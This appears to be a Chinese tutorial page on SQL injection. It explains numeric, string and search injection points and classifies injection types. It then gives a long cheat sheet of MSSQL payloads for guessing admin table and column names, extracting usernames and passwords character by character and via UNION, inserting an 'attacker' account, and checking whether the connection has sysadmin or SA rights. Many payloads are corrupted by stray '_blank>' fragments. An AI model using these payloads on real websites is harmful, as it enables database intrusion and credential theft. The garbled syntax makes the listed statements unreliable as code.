sql注入語句有三種，分別是：1、數字型注入點，語句如「select * from 表名where id=1 and 1=1」；2、字元型注入點，語句如「 select * from 表名where name...」；3、搜尋型注入點。
本文操作環境：Windows7系統，SQL Server 2016版本，Dell G3電腦。
sql注入常用語句
透過把SQL指令插入到Web表單提交或輸入網域名稱或頁面請求的查詢字串，最終達到欺騙伺服器執行惡意的SQL指令。
許多網頁連結有類似的結構 http ://xxx.com/users.php?id=1 基於此形式的注入，一般被稱為數字型注入點，緣由是其註入點id 類型為數字，在大多數的網頁中，諸如查看用戶個人信息，查看文章等，大都會使用這種形式的結構傳遞id等信息，交給後端，查詢出數據庫中對應的信息，返回給前台。這一類的SQL 語句原型大概為 select * from 表名where id=1 若存在註入，我們可以建構出類似與如下的sql注入語句進行爆破：select * from 表名where id=1 and 1=1
網頁連結有類似的結構 http://xxx.com/users.php?name= admin 這種形式，其註入點name 類型為字元類型，所以叫做字元型注入點。這一類的SQL 語句原型大概為 select * from 表名where name='admin' 值得注意的是這裡相比於數位型注入類型的sql語句原型多了引號，可以是單引號或是雙引號。若存在註入，我們可以構造出類似與如下的sql注入語句進行爆破：select * from 表名where name='admin' and 1=1 ' 我們需要將這些煩人的引號給處理掉。
這是一類特殊的注入型別。這類注入主要是指在進行資料搜尋時沒有過濾搜尋參數，一般在連結位址中有 "keyword=關鍵字" 有的沒有顯示的連結位址裡面，而是直接透過搜尋框表單提交。此類注入點提交的SQL 語句，其原形大致為：select * from 表名where 字段like '%關鍵字%' 若存在註入，我們可以構造出類似與如下的sql注入語句進行爆破：select * from 表名where 字段like '%測試%' and '%1%'='%1%'
依照資料提交的方式來分類
提交資料的方式是GET , 注入點的位置在GET 參數部分。例如有這樣的一個連結http://xxx.com/news.php?id=1 , id 是注入點。
使用 POST 方式提交數據，注入點位置在 POST 數據部分，常發生在表單中。
HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當中的某個欄位中。
注入點在 HTTP 請求頭部的某個欄位中。例如存在 User-Agent 字段中。嚴格講的話，Cookie 其實應該也是算頭部注入的一種形式。因為在 HTTP 請求的時候，Cookie 是頭部的一個欄位。
依照執行效果來分類
即可以根據傳回頁面判斷條件真假的注入。
即不能根據頁面返回內容判斷任何訊息，用條件語句查看時間延遲語句是否執行（即頁面返回時間是否增加）來判斷。
即頁面會傳回錯誤訊息，或是把注入的語句的結果直接回傳在頁面中。
可以使用union的情況下的注入。
常用語句
1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存在admin这张表 3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 and 0<(select count(*) from admin) and 1<(select count(*) from admin) 4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. and 1=(select count(*) from admin where len(*)>0)-- and 1=(select count(*) from admin where len(用户字段名称name)>0) and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 错误 and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确 and 1=(select count(*) from admin where len(password)>11) 正确 and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确 6.猜解字符 and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. group by users.id having 1=1-- group by users.id, users.username, users.password, users.privs having 1=1-- ; insert into users values( 666, attacker, foobar, 0xffff )-- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank >_id)- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank >_id,login_blank>_name)- UNION SELECT TOP 1 login_blank>_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul-- 看_blank>服务器打的补丁=出错了打了SP4补丁 and 1=(select @@VERSION)-- 看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。 and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))-- 判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA） and sa=(SELECT System_blank>_user)-- and user_blank>_name()=dbo-- and 0<>(select user_blank>_name()--
推薦（免費）：sql教學
以上是sql注入語句是什麼的詳細內容。更多資訊請關注PHP中文網其他相關文章！
